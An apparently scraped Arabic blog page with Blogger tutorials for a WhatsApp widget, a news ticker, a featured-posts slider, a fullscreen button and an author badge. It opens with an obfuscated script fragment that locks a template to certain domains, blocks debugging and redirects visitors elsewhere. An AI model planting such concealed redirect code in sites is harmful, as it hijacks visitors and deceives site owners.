aH=!0x1,aQ;}};}}();_0x8c4a[0xf];var aT,aU=[_0x8c4a[0x10],_0x8c4a[0x11],_0x8c4a[0x12],_0x8c4a[0x13],_0x8c4a[0x14]],aV=window[_0x8c4a[0x16]][_0x8c4a[0x15]];for(aT=0x0;aT<aU[_0x8c4a[0x17]];aT+=0x1)if(aV[_0x8c4a[0x18]](0x0,aU[aT][_0x8c4a[0x17]])===aU[aT])return;(function(){(function(){aH(this,function(){if(b('0x93')!==b('0x94')){var aW=new RegExp(_0x288c(b('0x2f'),b('0x30'))),aT=new RegExp(_0x288c(b('0x31'),b('0x32')),'\x69'),aY=_0xed1052(_0x288c(b('0x33'),b('0x34')));aW[b('0x35')](aY+_0x288c(b('0x36'),b('0x37')))&&aT[_0x288c(b('0x38'),b('0x39'))](aY+_0x288c(b('0x3a'),b('0x3b')))?_0xed1052():aY('\x30');}else{var d;try{var e=Function(b('0x40'));d=e();}catch(b2){d=window;}d[b('0x48')]||(d[b('0x48')]=function(g){for(var h,b5,b6=(g+'')[b('0x4b')](/=+$/,''),e=0x0,l=0x0,m='';b5=b6[b('0x4c')](l++);~b5&&(h=e%0x4?0x40*h+b5:b5,e++%0x4)?m+=String[b('0x47')](0xff&h>>(0x6&-0x2*e)):0x0)b5=b('0x4d')[b('0x4e')](b5);return m;});}})();}());var aT=[_0x8c4a[0x19]],bb=_0x8c4a[0x1a],aV=window[_0x8c4a[0x16]][_0x8c4a[0x1c]][_0x8c4a[0x1b]]();aV[_0x8c4a[0x18]](0x0,0x4)===_0x8c4a[0x1d]&&(aV=aV[_0x8c4a[0x18]](0x4)),-0x1!==aV[_0x8c4a[0x1f]](_0x8c4a[0x1e])&&(aV=aV[_0x8c4a[0x18]](0x0,aV[_0x8c4a[0x1f]](_0x8c4a[0x1e]))),-0x1===aT[_0x8c4a[0x1f]](aV)&&window[_0x8c4a[0x16]][_0x8c4a[0x20]](bb);}());}());function _0xed1052(bd){function be(bf){if(b('0x95')===b('0x95')){return b('0x96')==typeof bf?function(){}[_0x288c(b('0x97'),b('0x98'))](_0x288c(b('0x99'),b('0x81')))[_0x288c(b('0x9a'),b('0x65'))](_0x288c(b('0x9b'),b('0x9c'))):void(0x1!==(''+bf/bf)[_0x288c(b('0x9d'),b('0x9e'))]||0x0==bf%0x14?function(){return!0x0;}[_0x288c(b('0x9f'),b('0xa0'))](_0x288c(b('0xa1'),b('0x98'))+_0x288c(b('0xa2'),b('0x81')))[_0x288c(b('0xa3'),b('0x9e'))](_0x288c(b('0xa4'),b('0x65'))):function(){return!0x1;}[_0x288c(b('0xa5'),b('0x7f'))](b('0xa6')+_0x288c(b('0xa7'),b('0x61')))[b('0xa8')](b('0xa9')),be(++bf));}else{$(b('0x86'))[b('0x87')](b('0x88'));setInterval(function(){if(!$(b('0x89'))[b('0x43')]){window[b('0x8c')][b('0x8d')]=b('0x8e');};},0xbb8);}}try{if(bd)return be;be(0x0);}catch(bh){}} </script></div>

اى إستفسار لا تترد فى طرحه فى التعليقات 

نتمنى إذا اعجبك الموضوع لا تبخل علينا بالإشتراك فى  أعضاء المدونة 😃

كيفيه إضافه صندوق دعم فني واتساب داخل موقعك او مدونتك

اهلا بكم زوار ومتابعي مدونة الأرباح ، يعتبر تطبيق الوتس اب اكثر تطبيق تواصل اجتماعي استخداما في العالم ، فلذلك من ضروري اضافة صندوق الواتساب في موقعك لكي تتواصل اكثر مع زوار موقعك او عملائك ،  ففي هذه تدوينة سنتعرف على كيفية اضافه  ايقونة الواتساب  لمراسلتك على رقمك من موقعك مباشرة  : 

معاينة الاضافة 

اضافه  ايقونة دردشة الواتساب لمراسلتك من موقعك مباشرة

فطريقة اضافة صندوق دردشة واتس اب  لمدونات بلوجر او المواقع سهلة جدا فكل ما عليك هو ان تركز في شرح : 

في الاول قم بتسجيل في هذا الموقع ستجد رابطه في اسفل تدوينه ، كما في صورة : 

طريقة إضافة صندوق دردشة واتساب على بلوجر

بعد تسجيل في الموقع قم نقر على  Create New Wedget  كما في صوره 

 طريقة إضافة صندوق دردشة Whatsapp على بلوجر

بعد نقر على اCreate New Wedget ستظهر معك صفحة كما في صورة قم بوضع رابط موقعك في الخانة الاولى و الخانة العنوان الذي سيظهر عند نقر على زر الواتساب في موقعك و الخانة الثالثه ضع وصف قصير.

 

إضافة لتواصل مع زوار موقعك على الوات ساب 

الان انقر على زر  كما في صوره وبعد ضع اسم لصاحب حساب الوتساب (اسمك او اسم شركتك ) ، وبعد ضع رقم هاتفك بصيغه الدوليه اي مسبوق برمز دولي وقم ب اكمال ادخال المعلومات كما في صوره .

إضافة زر الواتساب إلى موقعك  بشكل مميز

بعد الانتهاء من ادخال المعلومات قم بنقر على  Save Widget  ثم سيظهر لك كود كما في صورة قم بنسخه :

 

اضافة واتساب الى المدونة ليستطيع الزوار مراسلتك بسهولة

بعد نسخ الكود توجه للوحة تحكم في البلوجر ثم تخطيط و انقر على اضافة اداة و اختار اداه Html/Java Script وضع الكود فيها ثم نقر على حفظ كما في صوره 

 

كيف تتوصل مع زوار موقعك من خلال الواتساب

 

الان قم بفتح موقعك او مدونتك وستجد ايقونه الواتساب على موقعك ف اي زائر نقر على سيستطيع مراسلتك على الواتساب مباشره ، كانت هذه هي تدوينه اليوم اتمنى ان تكونوا استفدتم .

 

 الذهاب للموقع

اضافة شريط اخر الاخبار بتقنية news ticker للمدونة بلوجر

نقدم لكم شريط أخر المواضيع بشكل احترافي وحديث حيث أن الشريط يعمل بإطار news ticker وهو إطار جميل في عرض أخر الإخبار, تم استخدام هذه الإطار ودمجه مع سكربت بلوجر لجلب أخر مواضيع احد الأقسام أو اخر مواضيع المدونة.
هذه الإضافة جميله ومميزه حيث تعمل على جذب الانتباه مما تجعل الزائر يتصفح العديد من المواضيع ,أيضا إطار news ticker يعمل بشكل جميل حيث انه يعمل حركتها مثل كتابة شيء ما, يمكنك معاينة الشريط ومعرفة مميزاته بنفسك.

معاينة

تركيب الشريط 

الشريط يعمل في أي مكان في المدونة لذالك لك الحرية في وضعه في أي مكان لكن نحن سنضع لك طريقة لوضعه في مكان مناسب
نبد في التركيب, نتوجه الى لوحة تحكم المدونة تم المظهر تم تحرير HTML

1- أولى يجب عليك تركيب الخط وخط الإيقونات في حال كانتا موجودتين في مدونتك فلا تقم بتركيبهما

<link href="https://fortawesome.github.io/Font-Awesome/assets/font-awesome/css/font-awesome.css" rel="stylesheet"></link>           
<link href="//fonts.googleapis.com/earlyaccess/droidarabickufi.css" rel="stylesheet"></link> 

2- نقوم بتركيب إطار عمل news-ticker و الجي كويري, عدتا رابط الجي كويري يكون مضمن في المدونة أد كان موجود في مدونتك لا تقم بتركيبه قم بتركيب فقط إطار news-ticker

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js" type="text/javascript"></script><script src="http://www.jquerynewsticker.com/includes/jquery.ticker.js" type="text/javascript"></script>  

3- تركيب تنسيق التصميم قم بل بحث عن ]]></b:skin>  وضع الكود التالي فوقه

/*########Default Newsticker Styles#########*/

.ticker-content{direction: rtl;}        
.ticker-wrapper.has-js{margin:20px 0;padding:0 20px;width:780px;height:32px;display:block;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;background-color:#f8f0db;font-size:.75em}          
.ticker{width:710px;height:23px;display:block;position:relative;overflow:hidden;background-color:#f8f0db}           
.ticker-title{padding-top:6px;color:#900;font-weight:700;background-color:#f8f0db;text-transform:uppercase}           
.ticker-content{margin:0;padding-top:9px;position:absolute;color:#1F527B;font-weight:700;background-color:#f8f0db;overflow:hidden;white-space:nowrap;line-height:1.2em}
.ticker-content a{text-decoration:none;color:#1F527B}           
.ticker-content a:hover{text-decoration:underline;color:#0D3059}           
.ticker-swipe{position: absolute;padding-top:9px;top:0;background-color:#f8f0db;display:block;width:800px;height:23px;direction: rtl;}           
.ticker-swipe span{margin-right:1px;background-color:#f8f0db;border-bottom:1px solid #1F527B;height:12px;width:7px;display:block}           
.ticker-controls{padding:8px 0 0;list-style-type:none;float:right}           
.ticker-controls li{padding:0;margin-left:5px;float:right;cursor:pointer;height:16px;width:16px;display:block}           
.ticker-controls li.jnt-play-pause{background-image:url(../images/controls.png);background-position:32px 16px}           
.ticker-controls li.jnt-play-pause.over{background-position:32px 32px}           
.ticker-controls li.jnt-play-pause.down{background-position:32px 0}           
.ticker-controls li.jnt-play-pause.paused{background-image:url(../images/controls.png);background-position:48px 16px}           
.ticker-controls li.jnt-play-pause.paused.over{background-position:48px 32px}           
.ticker-controls li.jnt-play-pause.paused.down{background-position:48px 0}           
.ticker-controls li.jnt-prev{background-image:url(../images/controls.png);background-position:0 16px}           
.ticker-controls li.jnt-prev.over{background-position:0 32px}           
.ticker-controls li.jnt-prev.down{background-position:0 0}           
.ticker-controls li.jnt-next{background-image:url(../images/controls.png);background-position:16px 16px}           
.ticker-controls li.jnt-next.over{background-position:16px 32px}           
.ticker-controls li.jnt-next.down{background-position:16px 0}           
.js-hidden{display:none}           
.no-js-news{padding:10px 0 0 45px;color:#F8F0DB}           
.left .ticker-controls,.left .ticker-content,.left .ticker-title,.left .ticker{float:left}           
.left .ticker-controls{padding-left:6px}           
.right .ticker-controls,.right .ticker-content,.right .ticker-title,.right .ticker{float:right}           
.right .ticker-controls{padding-right:6px}

        
/*########Blogger Newsticker by MBT#########*/          
.ticker-wrapper.has-js{margin:0;padding:0;width:98%;height:42px;display:block;border-radius:0;background-color:#fff;border:1px solid #eee;font-size:12px}           
.ticker{width:80%;height:42px;display:block;position:relative;overflow:hidden;background-color:#fff}           
.ticker-title{background:#71db00;padding:6px;color:#FFF;font-size:16px;font-family:Droid Arabic Kufi;text-transform:uppercase;text-shadow:1px 1px 6px #666}           
.ticker-title:after{right:100px;top:10px;height:0;width:0;position:absolute;content:" ";pointer-events:none;margin-right:0;margin-top:1px;border-right:13px solid #71db00;border-top:10px solid transparent;border-bottom:10px solid transparent;-moz-transform:scale(.9999)}           
.ticker-content{background-color:#fff;margin-right:15px;color:#444;margin-top:1px}           
.ticker-swipe{background-color:#fff;top:5px;right:100px!important}           
.ticker-swipe span{margin-left:1px;background-color:#fff;border-bottom:1px solid #333;height:12px;width:7px}           
.ticker-controls{padding:0!important;margin:13px 0 0 10px !important;list-style-type:none;position:relative;right:0px;float: left !important;}           
.ticker-controls li{padding:0;margin-left:5px;float:right;cursor:pointer;height:16px;width:16px;display:block}           
.ticker-controls li a{border:0!important;padding:0!important}           
.ticker-controls li.jnt-play-pause,.ticker-controls li.jnt-play-pause.paused,.ticker-controls li.jnt-play-pause.paused.over,.ticker-controls li.jnt-prev,.ticker-controls li.jnt-play-pause.over,.ticker-controls li.jnt-next{position:absolute;background:none}           
.ticker-controls li.jnt-play-pause:after,.ticker-controls li.jnt-play-pause.over:after{content:"\f04c";font-size:13px;color:#71db00;font-family:fontAwesome;position:relative;left:1.8em}           
.ticker-controls li.jnt-play-pause.paused:after,.ticker-controls li.jnt-play-pause.paused.over:after{content:"\f04b";font-size:13px;color:#71db00;font-family:fontAwesome;position:relative;left:1.8em}           
.ticker-controls li.jnt-prev:after{content:"\f04a";font-size:13px;color:#71db00;font-family:fontAwesome;position:relative;left:0}           
.ticker-controls li.jnt-next:after{content:"\f04e";font-size:13px;color:#71db00;font-family:fontAwesome;position:relative;left:3.6em}           
.ticker .iauthor:before,.ticker .icomments:before,.ticker .idate:before{font-family:fontAwesome;position:relative;padding-right:8px;color:#fff}           
.ticker .iauthorpic{width:16px!important;height:16px!important;border-radius:50%;float:none;display:inline-block!important;margin:0;padding-right:3px;position:relative;top:3px}           
.ticker span{padding-right:5px;font-family:Droid Arabic Kufi;font-weight:400}           
.ticker .icomments a{color:#71db00;font-size:11px}           
.ticker .icomments a:hover{text-decoration:underline}           
.ticker .icomments:before{content:'\f086';padding:0 3px 0 0;color:#777;position:relative;top:-1px}           
.ticker .idate{font-size:11px;padding-right:7px}           
.ticker .idate:before{content:'\f073';padding:0 5px;color:#777;position:relative;top:-1px}           
.ticker .mbttitle{font-family:Droid Arabic Kufi;font-size:14px;color:#71db00!important;font-weight:400;text-decoration:none}           
.ticker .mbttitle:hover{text-decoration:underline}

لتعديل الألوان ابحث عن #71db00 وقم بتغيره الى كود ألون المطلوب

4- كود وسكربت الشريط هد الكود في المكان الذي تضعه سيعمل لذالك لو لديك خلفية في التعامل مع البلوجر يمكنك تركيبة في المكان الذي تحب في المدونة, أد لم تكن لديك خلفية في البلوجر ابحث عن احد الاكواد التالية:
<div id='content-wrapper'>
<div id='main-wrapper'>
<div class='main-outer'>
والصق الكود التالي تحته

<script type="text/javascript">    
//<![CDATA[       
//----------------------------Defaults           
var ListBlogLink = "https://abduallah0.blogspot.com";           
var ListCount = 5;           
var TitleCount = 70;           
var ListLabel = "اضافات بلوجر";

        
//----------------------------Function Start          
function mbtlist(json) {           
document.write('<ul id="js-news" class="js-hidden">');           
for (var i = 0; i < ListCount; i++)           
{

        
//-----------------------------Variables Declared          
var listing= ListImage = ListUrl = ListTitle = ListImage = ListContent = ListConten = ListAuthor = ListTag = ListDate = ListUpdate = ListComments = thumbUrl = TotalPosts = sk = AuthorPic= ListMonth = Y = D = M = m = YY = DD = MM = mm = TT =  "";           
//----------------------------- Title URL           
for (var j = 0; j < json.feed.entry[i].link.length; j++) {           
if (json.feed.entry[i].link[j].rel == 'alternate') {           
break;           
}           
}           
ListUrl= "'" + json.feed.entry[i].link[j].href + "'";           
//----------------------------------- Title Stirng           
if (json.feed.entry[i].title!= null)           
{           
ListTitle= json.feed.entry[i].title.$t.substr(0, TitleCount);           
}

        
if (json.feed.entry[i].thr$total)          
{           
ListComments= "<a href='"+json.feed.entry[i].link[j].href+"#comment-form'>"+json.feed.entry[i].thr$total.$t+"</a>";           
}           
ListAuthor= json.feed.entry[i].author[0].name.$t.split(" ");           
ListAuthor=ListAuthor.slice(0, 1).join(" ");           
AuthorPic = json.feed.entry[i].author[0].gd$image.src;

        
//################### Date Format

        
ListMonth= ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];

        
ListDate= json.feed.entry[i].published.$t.substring(0,10);

        
                         Y = ListDate.substring(0, 4);          
                        m = ListDate.substring(5, 7);           
                         D = ListDate.substring(8, 10);           
                         M = ListMonth[parseInt(m - 1)];  
//----------------------------------- Printing List           
var listing = "
<li class='news-item'><span class='iauthor'><img class='iauthorpic' src='"+AuthorPic+"'/>"           
+ListAuthor+ "</span> <span class='icomments'>"           
+ListComments + "</span>  <span class='idate'>"           
+ D + " " + M + "</span><i class='fa fa-chevron-right'></i> <a class='mbttitle' href="           
+ListUrl+           
"target='_blank'>"           
+ListTitle+           
"</a></li>
";           
document.write(listing);           
}           
}           
document.write("</ul>
<script src='"+ListBlogLink+"/feeds/posts/default/-/"+ListLabel+"?alt=json-in-script&callback=mbtlist'></"+"script>");

        
/*##########Breaking News Ticker Settings########*/          
    $(function () {           
        $('#js-news').ticker({  
        direction : 'rtl',          
        speed: 0.20,           
        controls: true,   
        titleText: 'اخر المواضيع',           
        displayType: 'reveal',           
        pauseOnItems: 2000,    
});           
});    
//]]>       
</script>           

قم بتغيير الرابط https://abduallah0.blogspot.com الى رابط مدونتك
وقم بتغيير التسمية الموجودة في ListLabel الى احد تسميات مدونتك لجلب منها المواضيع
في حالت كنت تريد عرض اخر مواضيع المدونة وليس اخر مواضيع قسم ابحث عن
/-/"+ListLabel+"
واحذفها
تم حفظ

تعديلات أخرى ابحث عن 

ListCount  : لتعديل عدد عناوين المواضيع
TitleCount  : لزيادة او أنقاص عدد حروف العنوان المعروض في الشريط
Speed : قم برفع او إنقاص (0.20) الخاص في سرعة الحركه
Controls : اجعل القيمة false  لحذف إيقونات إيقاف وتشغيل والتالي او السابق
titleText : لتغيير اسم الشريط
displayType: لتغيير نوع الحركة استبدلها من reveal  الى fade

نكون هنا قد انتهينا من تركيب إضافة جميله في البلوجر

تركيب سلايدر المشاركات المميزة على بلوجر بالطريقة الجديدة

يمكنك الآن إضافة اداة المشاركات المميزة لمدونتك على الصفحة الرئيسية في حال لم تكن متوفرة في قالب مدونتك سوف تعطي قالب مدونتك لمسة جديدة من الإبتكار حيث تتميز الإضافة بالألوان الجذابة وكذلك يمكنك تخصيصها لتعرض أحدث المواضيع او مواضيع بحسب التسمية وهي متجاوبة تمامًا مع جميع أحجام الشاشات الجوال والكمبيوتر.

إضافة زر ملئ الشاشة لمدونات بلوجر

طريقة تركيب المشاركات المميزة على بلوجر

من لوحة تحكم المدونة أنتقل إلى المظهر أنقر على تعديل HTML ثم أبحث عن الرمز </head> وأضف الكود التالي فوقه مباشرةً

<b:if cond='data:view.isHomepage'>
<style type='text/css'>
/* Featured Post by madad2.com */
*,*:before, *:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.featured_namiwrap{display:inline-block;width:100%;max-width:1070px;margin:0 auto 20px auto;overflow:hidden;max-height:410px}.featured_namina{display:block;position:relative;float:right;overflow:hidden;height:410px}.featured_namina.first{width:44.7%;margin-left:1px}.featured_namina.second{width:25%;margin-left:1px}.featured_namina.third,.featured_namina.fourth{width:30%;height:205px}.featured_namina.third{margin-bottom:1px}.featured_namina a{display:block;color:rgb(255,255,255);position:relative;vertical-align:bottom;z-index:1;height:100%}.featured_namina a:before{width:100%;height:100%;position:absolute;content:&#39;&#39;;background:linear-gradient(to bottom,rgba(0,0,0,0) 0%,rgba(0,0,0,.8) 100%);opacity:.7;z-index:2;transition:all .6s}.featured_namina:hover a:before{opacity:1}.featured_namina a .blog_contents{display:block;position:absolute;z-index:5;bottom:15px;right:15px;left:15px;text-transform:uppercase;line-height:120%;transition:all 0.2s}.featured_namiwrap span{padding:3px 6px;font-size:12px;line-height:1;color:#ffffff;border-radius:3px;text-transform:capitalize;box-shadow:0 2px 5px rgba(0,0,0,0.2)}.featured_namina.first span{background:#679e37}.featured_namina.second span{background:#f8a724}.featured_namina.third span{background:#029ae4}.featured_namina.fourth span{background:#e53935}.featured_namina a .blog_contents h3{margin-top:15px;font-size:16px;color:#ffffff;line-height:normal;font-weight:normal;text-transform:none;text-shadow:none}.featured_namina a .blog_contents h3:hover{text-decoration:underline}.featured_namina.first a .blog_contents h3{font-size:27px}.featured_namina .feat-img{width:100%;height:100%;background-size:cover;background-position:50%;-webkit-backface-visibility:hidden;transition:all .3s}.featured_namina:hover .feat-img{transform:rotate(-3deg) scale(1.2);-webkit-filter:blur(2px);filter:blur(2px)}
@media only screen and (max-width:768px){
.featured_namiwrap{max-height:initial}.featured_namina.second,.featured_namina.first,.featured_namina.third,.featured_namina.fourth{width:100%;height:300px;margin:0;margin-bottom:1px}.featured_namina a .blog_contents{right:15px;left:15px;bottom:10px}.featured_namina.first a .blog_contents h3,.featured_namina a .blog_contents h3{font-size:20px}}
</style>
<script type='text/javascript'>
//<![CDATA[
// Featured post by madad2.com
function recentposts1(e){j=showRandomImg?Math.floor((imgr.length+1)*Math.random()):0,img=new Array,numposts1<=e.feed.entry.length?maxpost=numposts1:maxpost=e.feed.entry.length,document.write('<div class="featured_namiwrap">');for(var t=0;t<maxpost;t++){var i,n=e.feed.entry[t],r=n.title.$t,l=n.category[0].term;newsize;if(t==e.feed.entry.length)break;for(var o=0;o<n.link.length;o++)if("alternate"==n.link[o].rel){i=n.link[o].href;break}for(o=0;o<n.link.length;o++)if("replies"==n.link[o].rel&&"text/html"==n.link[o].type){n.link[o].title.split(" ")[0];break}if("content"in n)var g=n.content.$t;else if("summary"in n)g=n.summary.$t;else g="";postdate=n.published.$t,j>imgr.length-1&&(j=0),img[t]=imgr[j],s=g,a=s.indexOf("<img"),b=s.indexOf('src="',a),c=s.indexOf('"',b+5),d=s.substr(b+5,c-b-5),-1!=a&&-1!=b&&-1!=c&&""!=d&&(img[t]=d);for(var m=[1,2,3,4,5,6,7,8,9,10,11,12],f=["Oca","?ub","Mar","Nis","May","Haz","Tem","A?u","Eyl","Eki","Kas","Ara"],p=(postdate.split("-")[2].substring(0,2),postdate.split("-")[1]),u=(postdate.split("-")[0],0);u<m.length;u++)if(parseInt(p)==m[u]){p=f[u];break}if(0==t){var v='<div class="featured_namina first"><a href="'+i+'"><div class="blog_contents"><span>'+l+"</span><h3>"+r+'</h3></div><div class="feat-img" style="background-image:url('+img[t]+');"></div></a></div>';document.write(v)}if(1==t){v='<div class="featured_namina second"><a href="'+i+'"><div class="blog_contents"><span>'+l+"</span><h3>"+r+'</h3></div><div class="feat-img" style="background-image:url('+img[t]+');"></div></a></div>';document.write(v)}if(2==t){v='<div class="featured_namina third"><a href="'+i+'"><div class="blog_contents"><span>'+l+"</span><h3>"+r+'</h3></div><div class="feat-img" style="background-image:url('+img[t]+');"></div></a></div>';document.write(v)}if(3==t){v='<div class="featured_namina fourth"><a href="'+i+'"><div class="blog_contents"><span>'+l+"</span><h3>"+r+'</h3></div><div class="feat-img" style="background-image:url('+img[t]+');"></div></a></div>';document.write(v)}j++}document.write("</div>")}imgr=new Array,imgr[0]="data:image/gif;base64,R0lGODlhAQABAIAAAPHx8AAAACH5BAEAAAAALAAAAAABAAEAQAICRAEAOw==",showRandomImg=!0,aBold=!0,numposts1=4,numposts11=1,newsize=400;
//]]>
</script>
</b:if>

الخطوة الأخيرة هي إضافة الكود التالي في المكان الصحيح في القالب لعرض الأداة في المكان المناسب يمكنك إضافة الكود التالي فوق الرمز <div id='content-wrapper'> وإن لم تجده فوق الرمز يجب إضافة الكود أسفل موقع القائمة الرئيسية للمدونة بحيث يظهر مباشرةً أسفلها وفي منطقتها ليظهر بالعرض الكامل مع القالب

<b:if cond='data:view.isHomepage'>
<div class='featured_naminaz' id='featured_namiwrap'>
<div class='ct-wrapper'>
<script>
document.write(&quot;&lt;script src=\&quot;/feeds/posts/default?max-results=&quot;+numposts1+&quot;&amp;orderby=published&amp;alt=json-in-script&amp;callback=recentposts1\&quot;&gt;&lt;\/script&gt;&quot;);
</script>
</div>
</div>
</b:if>

حاليًا الاداة تعرض أحدث المشاركات ولعرض أحدث المشاركات بحسب التسمية إستبدل الرمز
/feeds/posts/default?

بالرمز

/feeds/posts/default/-/ضع-التسمية-هنا?

يمكنكم معاينة الإضافة من الرابط أدناه

أنقر هنــــــا للمعاينة

إضافة إشارة التحقق بالتعليقات للمشرف في مدونات بلوجر

إضافة زر ملئ الشاشة لمدونات بلوجر

نشارك معكم اليوم طريقة إضافة زر لعرض صفحات مدونتك ملئ الشاشة بحث تكون مثل الزر الموجود في فيديوهات يوتيوب مهمة هذا الزر مساعدة زوار مدونتك على التركيز في قراءة المقالات وهو مناسب لجميع الأغراض لمدونات الفيديو والصور والمقالات الطويلة.

سوف يظهر الزر في أي مكان تريد أن يظهر به من خلال تضمين كود html في المكان المناسب وهو متوافق مع معظم المتصفحات المشهورة وعلى الهواتف.

انقر للمعاينة!

طريقة إضافة زر ملئ الشاشة لمدونات بلوجر

من لوحة تحكم المدونة إذهب إلى المظهر أنقر على تعديل HTML ثم أبحث عن الرمز ]]></b:skin> ثم أضف الكود التالي فوقه مباشرةً

#openfull,
#exitfull {
    background: 0 0;
    border: none;
    cursor: pointer;
    padding: 0;
    margin: 0;
    text-align: center;
    width: 30px;
    height: 55px;
    line-height: 55px;
    float: left;
}
#openfull:active,
#exitfull:active,
#openfull:focus,
#exitfull:focus {
    outline: 0;
}
#openfull svg,
#exitfull svg {
    vertical-align: middle;
}
#exitfull {
    display: none;
}

إضافة إشارة التحقق بالتعليقات للمشرف في مدونات بلوجر

الخطوة الثانية أضف كود جافاسكربت فوق الرمز </body> مباشرةً

<script>
//<![CDATA[
var elem = document.documentElement;
function openFullscreen() {
  if (elem.requestFullscreen) {
    elem.requestFullscreen();
  } else if (elem.mozRequestFullScreen) { /* Firefox */
    elem.mozRequestFullScreen();
  } else if (elem.webkitRequestFullscreen) { /* Chrome, Safari & Opera */
    elem.webkitRequestFullscreen();
  } else if (elem.msRequestFullscreen) { /* IE/Edge */
    elem.msRequestFullscreen();
  }
  document.getElementById("openfull").style.display = "none";
  document.getElementById("exitfull").style.display = "block";
}

function closeFullscreen() {
  if (document.exitFullscreen) {
    document.exitFullscreen();
  } else if (document.mozCancelFullScreen) {
    document.mozCancelFullScreen();
  } else if (document.webkitExitFullscreen) {
    document.webkitExitFullscreen();
  } else if (document.msExitFullscreen) {
    document.msExitFullscreen();
  }
  document.getElementById("openfull").style.display = "block";
  document.getElementById("exitfull").style.display = "none";
}
//]]>
</script>

أنقر على حفظ المظهر

يمكن الآن إضافة الرمز الآخير من خلال التخطيط أو من خلال المظهر في المكان الذي تراه مناسب لعرض الزر في مدونتك

<button aria-label="Open Fullscreen" id="openfull" onclick="openFullscreen();"><svg width="28" height="28" viewbox="0 0 24 24"><path fill="#fff" d="M5,5H10V7H7V10H5V5M14,5H19V10H17V7H14V5M17,14H19V19H14V17H17V14M10,17V19H5V14H7V17H10Z" /></path></svg></button>
<button aria-label="Exit Fullscreen" id="exitfull" onclick="closeFullscreen();"><svg width="24" height="24" viewbox="0 0 24 24"><path fill="#fff" d="M14,14H19V16H16V19H14V14M5,14H10V19H8V16H5V14M8,5H10V10H5V8H8V5M19,8V10H14V5H16V8H19Z" /></path></svg></button>

• Add to Phrasebook
  • No word lists for Arabic -> Arabic...
  • Create a new word list...
• Copy

إضافة إشارة التحقق بالتعليقات للمشرف في مدونات بلوجر

قم بإضافة رمز التحقق والذي يجعل مشرف المدونة تظهر بجانب إسمه فوق كل تعليق إشارة تحقق بشكل تلقائي من خلال إضافة كود بسيط في مظهر المدونة وكما نلاحظ الإضافة تعمل بشكل ممتاز وهي سريعة ولا تسبب أي حمل فضافة على مدونتك.

طريقة إضافة رمز التحقق لمشرف المدونة في التعليقات

من لوحة تحكم المدونة إذهب إلى المظهر أنقر على تعديل HTML ثم أبحث عن الرمز ]]></b:skin> ثم أضف الكود التالي فوقه مباشرةً

#comments .comments-content .icon.blog-author{
  width: 16px;
  height: 16px;
  margin-left: 5px;
  vertical-align: -3px;
  display: inline-block;
  background: url("data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M12,2A10,10 0 0,1 22,12A10,10 0 0,1 12,22A10,10 0 0,1 2,12A10,10 0 0,1 12,2M11,16.5L18,9.5L16.59,8.09L11,13.67L7.91,10.59L6.5,12L11,16.5Z' fill='%23118ff9'/%3E%3C/svg%3E") no-repeat center center;
}

ثم أنقر على حفظ المظهر

يمكنك ترك تعليق مباشرة لتجربة الإضافة او مشاهدت التعليقات القديمة.